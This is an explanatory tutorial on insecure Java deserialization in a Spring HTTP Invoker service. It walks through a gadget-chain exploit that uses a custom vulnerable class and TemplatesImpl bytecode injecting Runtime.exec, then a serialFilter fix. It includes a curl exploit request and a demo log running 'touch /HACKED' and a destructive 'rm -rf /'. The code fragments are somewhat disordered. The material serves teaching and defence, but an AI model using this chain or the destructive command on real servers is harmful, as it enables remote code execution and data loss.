Insecure Deserialization Explained With Examples In Java

The problem

A typical example of a security issue is a communication via network using serialized Java objects. When the server is not secured against serialization exploits, it is theoretically possible to execute any command on the server:

client> curl -XPOST -H "Content-Type: application/x-java-serialized-object" http://127.0.0.1:8080/service/toupper --data-binary @exploit.serserver> ls -l /HACKED
-rw-rw-r-- 1 tomas admin 2770 Okt 12 07:40 /HACKED
touch /HACKED
rm -rf /
server> ls -l /
sh: ls: not found

The server

The server is implemented with HTTP Invoker provided by Spring framework:

@Bean(name = "/service/toupper")
RemoteExporter exporterServiceRemote() {
var exp = new HttpInvokerServiceExporter();
exp.setServiceInterface(UpperCaseService.class);
exp.setService((UpperCaseService)String::toUpperCase);
exp.setAcceptProxyClasses(false);
return exp;
}
Object obj = ois.readObject();

The exploit

Crucial is to have a vulnerable class included on the server classpath. There are plenty of such classes in popular libraries, but we will create our own to illustrate the problem from scratch.

class Vulnerable implements Serializable {

Object object;
String property;

transient String info;

void readObject(ObjectInputStream ois)
throws Exception {
ois.defaultReadObject();

// doing some reflection here
Method method = object.getClass()
.getMethod("get" + cap(property),
new Class[]{});
info = method.invoke(object, null)
.toString();
}

}
loader.defineClass(this._bytecodes[i]);
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(
StubTranslet.class.getName());
String cmd = "touch /HACKED";
clazz.makeClassInitializer().insertAfter(
"Runtime.getRuntime().exec(\""+cmd+"\");");
static  {
try {
Runtime.getRuntime()
.exec("touch /HACKED");
} catch (IOException e) { }
}
byte[] bytes = clazz.toBytecode(); 
setFieldValue(templates,
"_bytecodes", new byte[][]{bytes});
TemplatesImpl exploit = createExploit(cmd);
setFieldValue(vulnerable, "object", exploit);
setFieldValue(vulnerable, 
"property", "outputProperties");

The fix

As this is probably not a desired behavior, we should find a fix for the vulnerability.

jdk.serialFilter=java.lang.Class;java.lang.Object;java.lang.String;org.springframework.remoting.support.RemoteInvocation;!*
ObjectInputFilter REJECTED: class com.ttulka.Vulnerable

Source code

The source code for the examples could be found on my GitHub:

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store